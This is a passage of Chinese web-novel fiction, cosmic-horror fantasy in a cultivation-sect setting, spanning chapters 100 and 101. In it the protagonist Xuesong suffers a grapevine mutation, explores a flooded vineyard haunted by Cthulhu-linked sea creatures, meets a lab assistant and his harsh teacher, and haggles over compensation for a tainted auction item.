然而,他刚刚把手伸出去,却忽然顿在了半空中,因为他发现自己伸出去的手,变成了一条细长的,绿色的粗壮的葡萄藤。
而他本来应该正常生长着的五根手指变成了五团沉甸甸的,密密麻麻的葡萄,相互拥挤着,凑在一起,像是长了好几个月,好不容易才长成这个样子。
但他不管怎么想,都很确定,自己眨眼之前,这只手还是正常的,那么,一定是受到了什么东西的影响!是什么呢?
他慢吞吞把手收了回去,不知不觉间站直了,转头往后看,惊讶发现自己的头似乎转了一百八十度以上,就像一个沉重的,还能再转一圈的石质磨盘,只要他稍稍用点力,他就可以得到他想要的更加宽阔的,从未见过的神奇视野。
他有一点想倒吸一口凉气,但是他现在不太能控制住自己的身体,包括他的喉咙,所以,他只是缓缓眨了眨眼睛,像个中了时光魔法而被迫一切事情都慢半拍以上的可怜人一样,呆呆站在原地。
这个时候,他才看见,对面的两个人,靠在墙上,满头大汗,嘴唇苍白,面色痛苦,身体微微颤抖着,正在逐渐扭曲。
白色的袍子底下,不知道被什么细长的东西,顶出来一个又一个的包,看起来就好像有一群活的八爪鱼在他们身上乱爬但就是不肯露头一样。
一条又一条绿色的葡萄藤,缠绕着他们的身体,把他们强行绑在了墙上,就好像那些东西是墙上生长出来的一样,但是不对。
因为雪松看见,有一条葡萄藤,是从他们的衣领口探出来的,就像一条强行撕破了麻袋的毒蛇,正在向唯一清醒的人耀武扬威。
雪松缓缓眨了眨眼睛,随后就看见那些人身上的白袍子正在变色,就像是一张被阳光照到的试纸一样,那身白衣服逐渐从白色变成了绿色,又变成黄色,之后变成红色,最后变成紫色,眼看着还要向黑色进化——
到那时候,他们可能就死了,雪松做什么,也来不及救他们,为了避免那种情况出现,雪松强行提起精神,开始思考现在做什么能有点用处。
把人扶起来是没有必要的,因为没有意识的人扶起来还是会倒下去,把人从他们身体里生长出来的葡萄藤蔓的束缚中解救出来?
没有用的,把他们从葡萄藤里拽出来,那些东西还是长在他们的身上,一松手就会重新把他们捆起来,也许捆得更严实一些!
用加速药剂吧。不管是思考速度还是行动速度都可以增幅,哪怕现在的情况很有可能是遇到了病症加重,但也顾不了那么多了。
雪松从系统空间里掏出了加速药剂喝了下去,眼角余光里忽然觉得不对,便转头看向了旁边的玻璃。
玻璃上,一株粗壮而诡异的葡萄藤缠绕在一起,立在他所在的位置,头上是两片大大的葡萄叶子和一团水灵灵的葡萄。
在被他看见的时候,那两片叶子还颤了颤,像是被风吹,像是半空的柳絮,又像是即将飞离的鸟的翅膀。
他意识到,这就是他现在的样子,也许是他的病症太重,变化太快,无药可救,也许只是他受到影响所产生的幻觉——
他看见玻璃上,那诡异的显然是象征着他自己的影子后面,如同打翻了调色盘的五颜六色的床上,原本应该昏迷的人,不知什么时候坐了起来,正睁着眼睛,隔着玻璃注视着他,微微笑着,如同天父在注视着自己的幼子。
雪松狠狠打了个哆嗦,浑身起了鸡皮疙瘩,立刻把目光挪开,不打算搭理里面那个醒过来的病人,而是往前两步靠近了,似乎已经痛得失去意识的墙上的两个人,伸出手去,强行拽住了扭来扭去的十分灵活的葡萄藤,摸到了他们随身携带的通讯器,找到最常联系的那一条,发送出了求救的消息:葡萄园病菌重要感染病人醒来了,请快来!!!
刚发完这条消息,墙上的那个人不知怎么醒了,一拳向他打了过来,力气极大,几乎把对面的墙打碎,雪松一闪躲到了玻璃旁边。
他忽然觉得背后似乎有阴影,猛然转头一看,之前还坐在床上的那个病人,已经站在了玻璃前,笑眯眯隔着玻璃注视他。
第100章
雪松很确定有什么东西从背后袭来, 把他打晕了过去,但是等他再醒来的时候,他已经躺在回春堂的一张空置的干净病床上了, 旁边是拉起来的帘子, 大约是为了隐私或者安全考虑。
他不太确定自己现在是什么样子,下意识抬起手来想要摸摸自己的脸, 不过抬手的时候, 发觉自己根本抬不起来。
他感到疑惑,皱了皱眉, 垂着眼睛往下一看,发现自己身上不止盖了被子, 还被捆住了。
绳子就缠绕在他身上, 把他和床捆在了一起, 被子是盖在绳子上面的, 所以乍一看才没发现。
本来他应该能感觉到绳子的,不过也不知道是太累了, 还是受了伤, 他现在的感知力有点钝钝的,好像和一切都隔了一层,以至于他慢了半拍才反应过来,原来是被捆住了。
他眨了眨眼睛,感到困倦,正想着反正都起不来, 不如再睡一觉,反正回春堂里应该还算安全,没什么危险,从刚才的视角来看, 他的身上也没有什么特别的变化,不需要担心什么。
还没等他把眼睛闭上,旁边就来了两个回春堂的人,两个医修把他看了看,一个伸出手去按住了旁边床头柜上,仍然正在运转的阵法,另外一个向他走来,站在床边弯腰问:“你现在觉得怎么样?还好吗?”
雪松皱了皱眉,不是很想回答,因为他现在累极了,但考虑到,自己现在累成这个样子,也许有一部分原因是旁边的阵法的作用,还是开口了:“还好,就是后脑勺有点痛,好像被人打了。”
旁边两个医修对视一眼,都没对此发表什么意见,只是说:“看起来神志清醒,可以正常交流,应该没关系了?”
又有一个年纪稍微大一些的医修走了过来,看了一眼床上的雪松,又向旁边的两个医修询问了一下情况,点了点头:“绳子可以解开了。”
雪松活动了一下,被绳子捆久了仿佛有些血液不通的手腕,试着从床上坐起身来向他们问:“我为什么会躺在这儿?”
他们面面相觑,其中一个说:“因为你昏迷了。”
“我为什么昏迷?”雪松接着问。
“因为你可能受到了袭击,再加上,你体内原本就有的葡萄园病菌,有一些爆发了,对你造成了影响,所以就这样了。”对面那个医修顿了顿:“我们把你带回来的。短时间内你不能再去了,以及近期最好别离开宗门,容易出事。”
雪松点了点头,将信将疑。他是很怀疑自己其实是被这些收到消息后赶到那个病人病房的医修们从背后偷袭的。
不然后脑勺怎么会痛?难道那个病人隔着病房的厚玻璃,对他进行了偷袭吗?他隐约记得自己昏迷之前是正看着那个病人的……
如果是这样,那个病人不可能偷袭得到他的后脑勺才对。如果他是正面跌倒,倒下去痛的也只会是脸,而不是后脑勺。
但他现在没有证据,这件事也只有想想,之后有足够的证据,再提起来也不迟。因此他假装相信了医修们的话,点了点头问:“那我什么时候可以离开?我现在已经醒了,我觉得没什么了。”
“表面上看是没什么,”医修犹豫着说,“如果你想现在回洞府去,是可以的,但你现在的情况其实,还有一点危险,随时都可能复发,你确定要现在回去吗?”
雪松点了点头,虽然医修未必在他是否危险这件事上欺骗他,但是,他是真的很想回洞府去了,待在这,对他而言,实在不算什么值得高兴的事,因为这里的环境,只会无时无刻提醒他,他现在处于虚弱状态。
这不值得高兴。
医修看他坚持,也就不再劝他,只是点了点头,对他说:“那好吧,你有事随时可以回来,我们一直开门。”
雪松点了点头,掀开被子下了床:“我明白,谢谢。”
离开回春堂之后,他路过了葡萄园,停在了葡萄园的门口,往左右看了看,看周围没有人,就想要进去。
一个人从斜刺里出来,拦住了他:“请不要进去!”
“为什么?”雪松疑惑看着他。
他深吸一口气说:“难道你不知道吗?这里面有病菌!最近,很多人都被感染了!回春堂那边已经开始想办法,要处理这里!
你暂时不能进去!如果你被感染了,你进去可能出事,如果你没有被感染,一进去就可能被感染!”
他一边说一边把雪松往外推:“快走吧,快走吧,这里不欢迎任何人!如果你继续要往里走,我可要对你动手了!”
雪松皱着眉头,从他身边让开,往远处走去,走了没多远,回头一看那个人仍然在原地盯着他,插着腰拦在门口,一副不许任何人进入的样子,气势汹汹。
雪松皱着眉头往更远处走了走,直到看不见那个人,给自己加了个隐身术,重新往回走去,他今天还非要进去!
好巧不巧,他走过去的时候,门开着,空地上没有人,刚才那个人不见了,也不知道是进去了还是走了,但如果那个人是要防止有人进去,不应该这么容易就离开——
那他是进去了?很有可能!原来他不许别人进去,是因为自己想进去,还不想被人发现,所以特意把看见的人拦在外面?!
雪松走了进去,葡萄园里没有人,他按照之前的路线进入了,能够见到千纸鹤的那个位置,千纸鹤从墙上飞下来,一副刚刚睡醒的样子,对他问:“有什么事我可以帮你的吗?”
“把我带进去,就像上次那样,要上次那个位置!”雪松特意对千纸鹤强调了一遍。
千纸鹤也不知听懂了没有,只是点了点头,转身向前方飞去,一副懵懵懂懂的样子,让人很是忍不住怀疑,这只千纸鹤会不会半路坠机。
不过幸好最后还是到了,千纸鹤停在一扇门口,对雪松说:“就是这里了!”雪松点了点头,正要进去,那千纸鹤突然喊道:“等等!”
“怎么了?”雪松有些疑惑,停住了问。
“这里面的气息现在有些不同寻常,你确定要进去?感觉起来比上次危险多了!你真的要进去?”千纸鹤反复向他确定,好像很怕他一不小心就死在里面了,白纸做的脸上都逐渐浮出担忧的神色来。
“是的,我要进去,”雪松想了想,他过来是顺路,但要下次来可就未必顺路了,与其来了又走,不如就这次,这次实在找不到什么也就算了,还没进门就要他走,他可不愿意,“你还感觉到什么吗?”
“里面有很多的……”欲言又止的千纸鹤在半空中转了一圈,小声道,“又咸又腥的海水的气息,还有深海的眷属,我还感觉到了——”
千纸鹤似乎还想再说些什么,但是一直没想起来,努力思考着,张了张口,突然被不远处飞过来的一颗石子打中了。
只听砰的一声,那颗石子把千纸鹤打到了墙上,千纸鹤毕竟是纸做的,一下子就坏掉了。
因为做身体的纸被石子弄坏了,纸上面的法阵也就被破坏掉了,千纸鹤失去了动力,颤抖了一下,就停在那里不动了。
连身上的光芒也暗淡了许多,直到消失,沾着地上的灰尘,歪在那里,头扭曲着,身体也不成形状,看起来可怜极了。
雪松顺着那颗石子来的方向看了过去,发现那里并没有人,只有一滩水,安安静静浸泡在墙角的石子之中,好像刚才控制石子飞出来的就是那滩水一样。
雪松走过去,查看了一下情况,那些石子不为所动,就好像确实只是没有生命的东西,雪松掏出了一个瓶子,装了一点水和一颗石头,盖好盖子,揣回了系统空间,又返回去检查了一下倒在地上的那只千纸鹤。
千纸鹤仍然一动不动,看起来就是完全死了,雪松碰了碰那只千纸鹤的身体,没有用处,即使把裂开的部分合起来也是一样的,那些阵法,已经失去效果了。
雪松站起身来,向身边的那扇门走去,推开门之后,里面是一条长长的走廊,他一时有些恍惚,不太记得上一次是不是这样。
毕竟上一次的事情,对他而言,已经算是有一阵子之前的事了,他往里走去,里面没有人,越走越黑,越走越黑,迎面而来的是一股潮湿的气息。
就像之前千纸鹤对他所说的那样,充满了又咸又腥的海水的气息和深海的眷属,雪松停下了脚步,正在犹豫要不要继续往前走,忽然听见了一阵海浪声。
他转头看了过去,只听哗啦一声,一阵巨大的海浪向他扑面而来,把他打了个跟头,泡在了里面,他感觉到自己喘不过气来。
但他抓住墙上的一盏壁灯的轮廓,在哗啦啦的水声中,总算是停住了自己,没有继续被冲到外面去。
周围的灯不知什么时候都熄灭了,也不知道是被海水打灭的,还是刚才这些水泡到了开关,弄坏了法阵。
本来周围就安静,泡上水之后更安静了,一切都被隔绝在外,就像是另外一个世界,哪怕现在出去,大概也会有种,身不由己的感觉。
毕竟,这里虽然隐蔽,却多少还是有一点高的,水把这里填满了,人却不会长那么高,在里面漂浮着,像一具被关在器皿里,浸泡在福尔马林的尸体,既接触不到地面,又接触不到天花板,好诡异的感觉。
雪松用了一个防水咒,开始在水中穿行,都已经到这个地步,他可不会轻易回去,一段时间之后,他又看见了一扇熟悉的门。
他隐约记得上一次看见这扇门,现在他即将进入拍卖会后台的时候,所以如果他没有记错,这后面就是拍卖会后台,也许他能得到点什么?
他打开了那扇门,那扇门还挺难打开的,毕竟周围到处都是水,给了很大的阻力,那还是一扇木门,他尝试的时候真担心这扇门会坏掉,但最后门也没有坏,倒是值得松一口气。
开门之后,周围的海水一下子灌了进去,咕噜噜的响,他定睛一看,里面的桌子上,放着一颗人头大小圆润洁白的珍珠,正在海水中微微泛着银白色的光,将桌子和周围的东西照亮了,桌上仍然摆着密密麻麻的东西。
那些东西蠕动着转过身来,雪松这个时候才看清楚,原来那不是物品,而是活动的,水生物——
章鱼、水母、扇贝……
浑身上下长着密密麻麻的眼睛,绿油油的海藻,还有一些若有似无的扭曲的藤壶,全都悄无声息在水中注视着他,就好像他在墓园里惊扰了墓中死者的安眠。
他眨了眨眼睛,突然感到这个房间在动,仔细一看,原来不是房间在动,而是趴在房间里面的那些棘皮生物在动——
它们长得扭曲而怪异,给人一种没有血肉,只有骨骼,而且是扭曲的猩红色发黑的骨骼的感觉,此时,那些骨骼正在水中游动着,向着雪松而来。
雪松猛然一惊,立刻从身后退了出去,那些密密麻麻的棘皮生物,就像是一张海中巨大的正在收缩的渔网,向他扑了过来。
他砰的一声把门强行拽过来关上了,幸运的是,那些东西并没有碰到他一点,不幸的是,他终于完全惊扰了它们。
它们似乎冲着门撞了过来,发出噼里啪啦的响声,好像下一刻就要把这扇门炸掉,而且那扇门,肉眼可见长出了密密麻麻的裂痕,显然撑不了多久,也不知道是多久的老门!
雪松转头用异常敏捷的速度向走廊深处而去,眨眼间像个炮弹似的冲到了另一扇门前,他也不确定这扇门后面是什么。
但他还是打开了,毕竟现在不把门打开,也只有另外去找,谁知道什么时候找得到,也不知道之前那扇门有没有被打开……
门在水里嘎吱响了一声,像是一种离谱而显眼的定位仪,在向所有追逐猎物的兴奋者,确定雪松的位置。
雪松往里看了看,还没看清有什么事,忽然觉得自己的包里有什么东西在动,把那个东西掏出来一看,原来是之前,检查科那边那个白大褂留给他的葡萄联络器。
这东西一个劲在他手里震动着,发出一圈一圈的,莹莹的紫色的光,看起来好像每颗葡萄籽都要炸了一样。
雪松连忙接通问:“有什么事吗?”
“你在附近是不是?我感觉到了!周围的海水在震动!这是不同寻常的表现!你一定进来了!你在干什么?”那边连珠炮似的问。
“我顺路过来看看,不知道发生了什么,在我打开的第二扇门口,”雪松在门口看了看,看见了门上面的标签,“这里好像是个仓库?”
话音刚落,仓库里面突然响起一声巨兽般的咆哮,葡萄在雪松的手里跳了两下,像是一个被剪断了电线的电话一样,光芒消失了,联络也断了,暂时大概是用不了。
雪松只好把葡萄收起来,向远处而去,离开前顺便看了一眼,看见门里面伸出来一条十分粗壮的,长满了眼睛的章鱼触须。
那东西在门口转了转,找到了他的方向,向他追了过来,他立刻往更深处游去,很快见到了第三扇门,这扇门比之前的两扇门,看起来结实多了。
他花了一阵功夫把这扇门打开,躲了进去,关上门之后转头一看,一个套着白衣服的年轻人,正在一张桌子旁边,低着头看着什么,手里拿着个圆滚滚的东西,脸上还架着一副眼镜,和他对视了。
“你好?”那个人试探着,推了推眼镜向他问。
“你好,”雪松靠近了他,“你在干什么?”
他把手里的东西递了出来:“我在检查这只大贝壳。”
“检查这东西有什么用?”雪松伸手敲了敲那只贝壳,那只贝壳有三个拳头那么大,表面的花纹是蓝白红粉黄,看起来很漂亮,像是彩虹在水里转了一圈,落了一点痕迹在贝壳的壳上。
“这是我新捡到的东西,”对面那个年轻人说,“所以随便看看。”他一边说一边拿起桌上的刀子插进了那贝壳的缝里,狠狠撬了起来,只听咔嚓一声,那把刀断了。
又是一阵咔嚓咔嚓的声音,在二人的注视下,那贝壳伸出红艳艳的肉来,把刀片卷进去吞掉了,上下的壳的边缘相互摩擦着,发出一种机器正在运转的声音。
听起来很是危险,年轻人正在看,突然惨叫了一声,把手里的东西丢在了地上,那东西砸在地上,又被海水托了回来。
雪松定睛一看,那个年轻人的一根手指头已经折了,大概是刚才被那个贝壳咬到的,那个贝壳一边发出咕噜噜的声音,一边一张一合跑走,只是,门是关着的,窗户也暂时没开,这东西跑不出去,只是在墙上乱撞。
雪松想办法把那贝壳抓了回来,那个贝壳咔嚓嚓试图咬他,没咬着,有点儿累了,于是停住了,狠狠闭合回去,又变成了一个严丝合缝的,大壳子。
年轻人正在咬牙切齿把自己的手指头弄直,之后修复了,但还是痛得他满脑子都是汗,脸色苍白,冷冷盯着那只贝壳,对雪松伸出手说:“请把这东西给我,我要处理一下,谢谢。”
雪松把贝壳递给他,他抄起贝壳就往地上砸,像一只发了狂的松鼠一样,那贝壳在地面上发出哐哐的响声,听起来好像在砸墙。
幸好这里到处都是水,即使有再大的声音,一时半会儿也传不出去,更何况,还有门窗和墙,倒不用太担心被外面的什么东西发现。
那只贝壳的壳就那么一点一点被年轻人敲了下来,变成了一地碎屑,贝壳里面的肉发了狂,开始攻击年轻人,整个房间里的水都荡起来,变得有点像风暴。
年轻人抓住那贝壳肉,狠狠往外一扯,一口咬了下去,雪松瞪大了眼睛,还以为他要做什么,没想到他一口一口把贝壳肉全都咬了下来,嚼吧嚼吧两口,就是伸长脖子硬吞了下去,看起来像一只硬要把石头吞进肚子里的,沙漠里的鸵鸟。
于是他就呛着了,开始狂咳,雪松欲言又止,不知道该不该伸手,他掐着脖子,往外干呕了一声,大约是把喉咙里卡住的东西吐出来了,但紧接着又伸长了脖子,咕噜一声,把东西吞了回去。
雪松默默站在了旁边,在他看起来好像好了一些的时候,试探着问:“你是这儿的什么人?”
“如你所见,”年轻人扯了扯自己的衣服,“我本来是检验科的,这里本来有个拍卖会,后台的后台里面就是。你知道吗?”
雪松点了点头,又问:“那你怎么会在这?难道这里就是之前拍卖会的检验科吗?”
他往周围看了看,看周围的环境并不熟悉,觉得应该不是,又重新看向那个年轻人。
年轻人叹着气说:“我是要去那里的,但是没来得及,半路上这里就起水了,于是我被撞到了这,我也不太分得清路了,总之,我想先搞清楚究竟怎么回事,从门外面抓了一只游动的贝壳,这东西就是不说话!多半是没有这个功能吧!要么就是不愿意!”
他一脸颓废坐在桌子旁边说:“那我就得另外想办法了……那多麻烦……也不知道师尊知不知道我在这……他要是算我今天缺勤就完蛋了!那可是会被怀疑成通风报信的!”
他捂着脸呜呜了起来,也不知道是不是哭了,这里到处都是水,他就算真哭了,大约也不太能从脸上看出来。
雪松忽然觉得之前那个葡萄又开始动了,因此掏出来,掏出来一看,这东西还真又连上了,他连忙问:“我现在能去找你吗?”
“你来找我干什么?”白大褂疑惑了一下,随后又说:“好吧,你过来吧!这边比外面还是稍微安全一点,也不知道你这个时候过来干什么……”
他叹了一口气,似乎正在走动,脚步声有点古怪,之后停了下来:“我看了一下,你是不是在一个房间?房间里面还有另外一个人?”
他定睛一看,沉默了好一会儿,忽然说:“你能把葡萄给你旁边那个人吗?我有话要对他说。”
“你们认识?”雪松有些好奇,试探着问。
“认识,他是我学生之一,今天应该他来工作的,就不说干什么活,好歹要在吧,可是我没看见他——”白大褂深吸一口气,止住了话头。
雪松明白了他的意思,把葡萄递给了旁边的人说:“有人要找你。”
年轻人虽然搞不清楚怎么会有人要找自己是通过雪松的葡萄来的,但还是伸手接了过去问:“你好,找我有什么事?”
那边传来了熟悉的声音:“你他妈的!你来的第一天就告诉你了吧?让你早点来,早点来!你不听!你非要拖!你明明就住在附近,你居然还敢迟到!
你怎么想的?现在被堵在外面,你满意了吧?别人不知道你也不知道?怎么来都不知道?你之前是做梦来的吗?!”
年轻人唯唯诺诺,低着头,一个劲小声回答:“对不起,对不起,我应该早点来的,我今天睡过头了,我昨天睡很早的,但是早上两点醒了过来就睡不着了,一直醒到白天,我还以为能立刻来呢,可是时间太早了……”
我觉得那个时候过来这边可能没开门,要等好久,还不如晚一点再来,就睡了一觉,本来就打算睡两分钟的,但是两分钟,压根没醒,所以才迟了。
白大褂冷笑一声,猜得出来他要说什么,但并不愿意听他继续说下去,毫不客气道:“路线已经发过来了,你自己收着,现在要是还找不到,你等着我下回剥你的皮吧!”
白大褂说完深吸一口气,情绪似乎平复了一下,对他说:“希望你能在一刻钟之内到,现在把东西还给客人,其他的你自己知道。”
说完,紫色葡萄上的微光逐渐消失,显然这段通话已经完全结束了,接电话被痛骂的时候,都没觉得有什么的年轻人打了个哆嗦,好像现在才后知后觉,意识到了自己的处境有多糟糕。
他不知不觉哭丧着脸,把手里那串葡萄还给了雪松,嘟囔道:“谢谢你把东西借给我,现在没什么要说的了,你也要见我的老师,是吗?他已经把路线给我了,我现在就可以带你去,你还要去吗?”
“我要去,”雪松一边伸手把葡萄收了起来,一边疑惑他为什么,在通讯结束之后露出这样糟糕的表情,好像见了面才是更糟糕的开始,好奇问,“你不高兴吗?我们马上可以到更安全的地方去了,你还能见到你的老师——”
雪松说到这里顿了顿,想起自己刚刚听到的话,意识到他可能是因为迟到,而不想被骂和见到老师,就试图缓解一下他对老师的惊恐之情:“你老师应该只是随便说说而已吧?他不会真的把你剥皮的?”
年轻人狠狠打了个哆嗦,脸色更加苍白,迟疑着用已经有些干燥的舌头舔了舔自己开始出血的嘴唇,表情更加惊恐,瞪着眼睛,有些出神的样子,一时没有回答。
雪松从他的沉默里察觉出,他好像可能是真的要被剥皮……还不一定死,也有可能死了之后还得被找回来继续工作……好惨的样子……
雪松也打了个哆嗦,一边想象了一下他被剥皮之后可能的惨状,一边由衷感到庆幸,自己不需要,在旁边旁观或者亲身体验一下那种感觉。
年轻人回过神来对他缓缓笑了一下,用十分虚弱无力,而且连自己似乎都不相信的语气说:“应该……没关系吧?”
他沉默了半天,又像是在说服自己一样,双目发直,喃喃道:“不会的,哈哈,不会的……老师不会那么对我的……”
他沉默着低下头去,突然又想起来,再这么站下去就没时间了,立刻像个被压死了的弹簧一样跳起来,一把拉住雪松往门外冲去,顺便抽空解释:“刚才老师跟我说了,路线已经发过来了,我们接下来只要按照他给出来的路线,就可以到他现在所在的地方了!”
“你跟我走就是了!”他挠了挠头,似乎觉得自己说的还不够清楚,又担心雪松不相信,最后补了一句。
“那就走吧。”雪松点了点头。
年轻人不知道按照什么办法观察到了他老师发给他的路线,一路往前狂飙,很快就到了一扇门前,用一种特殊的节奏敲了敲门。
门在他面前缓缓打开了,里面是空的,很短的一节走廊,他一边走进去一边对雪松招手,雪松跟着他进去了,身后的门就关了。
面前的另外一扇门打开了,里面没有水,只不过开门的时候,走廊里的水泼了出去,哗啦啦的响,看起来湿漉漉的。
“进来吧。”年轻人对雪松招了招手。
雪松走进去一看,年轻人又把他带到了不远处的一个房间里,这里比外面干燥得多,但墙上还是隐隐约约在往外渗水。
地面的缝隙里,也一点一滴往外挤出露珠,看起来晶莹剔透的,像是过了一个晚上,刚刚被看见的草叶子,如果不是太矮,水珠早晚滴到路过的人的头上。
空气中潮湿得过分,以至于呼吸起来都有一种黏腻的湿润的感觉,如果是刚刚从干燥的地方过来的人,站在这大概会觉得自己快要窒息。
不过幸好雪松和那个年轻人都是从水里过来的,他们并不会不适应,但年轻人进来之后仍然低下了头,对房间里等待的那个人说:“老师,我把人带来了……”
他欲言又止,一边偷偷摸摸观察他的老师,一边小声问:“我今天迟到的事情……可以……不算吗?”
白大褂嗤笑了一声:“你做梦呢?白日梦做完,晚上就别睡觉了!之前是看你才来,好心让你回去休息,既然你那么想休息,连事情都不做了,那就别休息了!”
年轻人狠狠打了个哆嗦,试探着问:“您的意思是?”
“去干活!从今天开始,”他的老师意味深长说,“直到这个月结束,你都不能再回去休息了,横竖你有修为,你就睁着眼睛给我在这干,我想一个月还不至于累死你!”
年轻人咕的响了一声,像个坏掉的玩偶一样跌倒在地上,头又撞在旁边的桌角,咚的一声响,他终于两眼一翻,晕倒在地上。
地面上的水珠像是得了什么召唤,一下子聚集在他身边,迅速把他淹了起来,以至于他后背那一层的衣裳都薄薄的,被沁湿了。
“如果三秒之内你不能爬起来,我就把你赶出去!你知道,外面还是到处都是水,而且还算危险吧?”白大褂并不去扶人,只是站着看着,面上带着微微的笑,仿佛和蔼一般说。
地上的年轻人浑身一抖,立刻爬起来就地磕了个头:“我这就去!”话音未落,他就跑走了,像一只点了火的爆竹。
门仍然还是开着,雪松看了看,刚才那个人已经不见踪影了,他眨了眨眼睛,重新转过头来,看向面前的人,白大褂把他看了看,向他问:“我那个学生有把你的东西还给你吧?”
雪松点了点头,那个白大褂又问:“他有对你说谢谢吧?”
雪松像个被卡住的磁带一样啊了一声:“确实有……”但这应该不重要吧?干嘛特别问这个?难道还真能不还?
“你来这有什么事?”白大褂随便找了个凳子踢给他。
他看了一眼凳子,不是很想坐,因为凳子上也有一层薄薄的水雾,看起来没什么,但一摸一手水,真要是坐下去,感觉衣服会湿掉。
白大褂就从旁边找了个抹布,找了个凳子擦了擦,之后把帕子丢给他,他接过帕子擦了擦凳子。
其实还是感觉那个帕子恐怕也不知道擦过什么,以至于凳子,其实并不太干净,但也懒得讲了,好不容易到这来,有个休息的凳子就不错了,挑三拣四没意思。
他思考了一下措辞,决定直说:“我是来问上次那件事的,有结果了吗?”
白大褂想了想,露出恍然大悟的表情:“原来是为了那件事来的呀!我还以为你一时半会来不了呢!听说你去了秘境?最近回来的?”
事情怎么突然转到寒暄上面去了?雪松挑了挑眉:“最近回来的。有进展了吗?那个事情?”
“有倒是有,”白大褂皱着眉头迟疑着说,“只是——”他说着站起身来,转过去背对着雪松,在旁边的台子上找了找,找出来一个瓶子,看了看说:“眼珠和粘液都在这里。”
那个瓶子里确实装着有粘液的眼珠,似乎被一种特殊的溶液泡着,眼珠在里面,上下轻轻沉浮着,周围的粘液包裹着眼珠,看起来和溶液完全不相容,是一种很诡异的半凝固状,有点像是做失败了的介于透明和不透明之间的果冻。
“所以结果是什么?”雪松看了一眼那个瓶子,没什么兴趣,只觉得保存完好,看起来和之前差不多,追问道。
白大褂把瓶子放在旁边,坐在凳子上叹气:“粘液和克苏鲁有关,眼珠和尤格索托斯有关……”
他沉默了好一会儿,又说:“研究检查的时候没太注意,所以,他们都注意到了这里——外面那些海水和海里的东西就是证据。”
雪松若有所思。
没太注意?难道是研究的时候不小心念出了名字?因为太激动,所以被当成呼唤,以至于对面直接派眷属过来接人了?怎么有种诡异的大家都没错的感觉?
海水和海里的东西确实可以证明,克苏鲁被吸引了注意力。至于海里的东西,身上长着的那些眼珠子,倒也可以证明,尤格索托斯的注视,确实在这里。
问题在于,他现在有新的疑惑了:“难道那个龙骨指针里面的眼珠,能和那两个有什么关系吗?
我记得我买的时候,卖的人说,那颗眼珠只是一个贪婪的寻宝者死后留下来的,亡魂的指示,难道他说错了?还是我记错了?又或者,这根本是拿错了东西?”
雪松一下子紧张起来,拿错了东西,四舍五入等于他多付了钱,拍卖会应该给他赔偿的!他可不会白白放过这笔钱!
假如除了钱的事情,龙骨指针还有方向不准,或者,寻物不力的问题,他可也不会坐视不管的!
白大褂欲言又止:“事实上你没有记错,他也没有说错,东西都没有拿错——”
他顿了顿,叹了一口气,从旁边的桌上翻了翻,翻出来一张入库记录表,递给雪松,十分无可奈何说:“只是因为龙骨指针在保存的时候,旁边放着一个刚从海里捞出来的瓦罐。
而那个罐子恰好沾染了相关的气息,本来在路上就应该清洁完毕的,但不知道是封印没做好,还是密闭没好,泄露了气息,就感染了,龙骨指针里的那颗眼珠,也就有了相关性。”
“那你们必须要赔偿我!”雪松毫不犹豫站起身说。
“赔偿……”白大褂犹豫着,他不管这个,但事情到这个地步,要说和他没有关系,也是不可能的,按照规定,拍卖会售出了和描述不符的东西,也确实应该提供赔偿,但如果他私自答应下来,他又怀疑拍卖会并不会给钱,因此他说:“我会转告财务部的,你再等一等吧,过两天就会有消息,究竟给钱还是不给钱,他们会说的,不过,你大概想要多少呢?”
他摆出一副十分诚恳的姿态望着雪松。
雪松想了想:“这情形少说赔一半吧?”《 》
第101章【VIP】
第101章
白大褂愣了一下, 露出大惊失色的表情,忍不住喃喃道:“这未免有些……太多了吧?”
他试探着问:“能不能少一些呢?”他一边像苍蝇一样搓手,一边眨巴着眼睛, 仿佛试图拿起旁边的葡萄, 给财务部立刻打个电话过去。
“多吗?”雪松睁大眼睛,挑了挑眉, 一副完全不能理解的样子:“我觉得很少啊!我还没让你们全都赔我呢!”
听见只赔一半, 白大褂都倒吸一口凉气,听见全都赔, 差点跌倒在地,一手按住桌子, 强行稳住身体, 满脸不可置信:“全都赔是绝对不可能的!你也不想一想, 你好歹是用过的吧?你都已经拿到手里了!
包装拆了, 东西确认了,带走了, 这就已经算是二手了!二手的东西少说要折一半, 拿出去卖都不一定有人要的,更何况是现在这种情况,绝对是难办的!你要是让我们全赔,我们少说要折损一半以上的金钱!你会被拒之门外的!”
雪松耸了耸肩:“我下次可以不来。”
白大褂有点害怕了,喉咙里咕噜了一声,好像马上要长出蘑菇来一样, 犹豫着往前走了两步,按住桌子试探着问:“你说的是假话吧?你其实是在跟我开玩笑吧?根本不是真的吧?不要跟我说我不能接受的话!”
雪松对他微笑,像个被敲了一棍的机器一样:“我不明白你在说什么。”
他狠狠挠了挠自己的头发转过身去,按住对面的实验台说:“也许我不应该提这些, 也许我不应该,待在这儿,但我想我对这种事情没有什么选择权。”
他迟疑着转过身来,狠狠挠着自己的头发说:“总之,我们先跳过这个话题吧?”他一边说一边走到不远处的洗手台,启动了正在运转的法阵,哗啦啦洗起手来。
“好吧,”雪松看他似乎有点反应过度了,意识到不能继续这个话题,否则没什么好处,顺着他说,“我明天还可以来找你们要钱,希望到时候你们已经谈好了,究竟要赔给我多少钱。”
白大褂点了点头:“可以,可以。”
“那么你们打算什么时候处理一下这里的情况呢?”雪松望着他问。
他皱着眉头说:“按照最初的情况来估算,其实过一段时间这些水就会自己消退的,毕竟这里并不靠海,只靠咒语的影响力是不会这么长久的,所以一定有什么问题。”
雪松跟着皱起眉头,意识到这件事,恐怕一时半会儿都不会结束了,感到微妙的烦躁,向他问:“你是说,这里到处都是水和那些东西,除了你在不知不觉中念出召唤的咒语之外,还有可能是别的原因?或者说,至少有一种除你以外的原因正在生效,才会这样?”
白大褂缓缓点了点头,一脸严肃:“是这样的。”
雪松闭了闭眼睛,觉得自己应该尽快离开,在这里待太久可不好,他转身要走,毕竟他希望这里变成什么样,都最好和他无关。
一旦有关系,鬼知道他会不会又被送到审判庭去。但是出门之前,他忽然想起一件事,就转过头来问:“我进来之前,葡萄园的门口看见一个陌生人,他阻止我进来,说这里暂时不许人进,可是我回头看见他进来了,我跟在他身后进来的,可我进来之后就没看见他了,你见过吗?”
白大褂眨巴眨巴眼睛,一脸迷茫:“陌生人,我不知道,我待在这儿有一阵子了,没注意外面什么情况。”
他迟疑着想了想又说:“不过你可以对我描述一下你所说的那个陌生人的外貌和行为特征,也许我能想得起来在哪里见过什么的?”
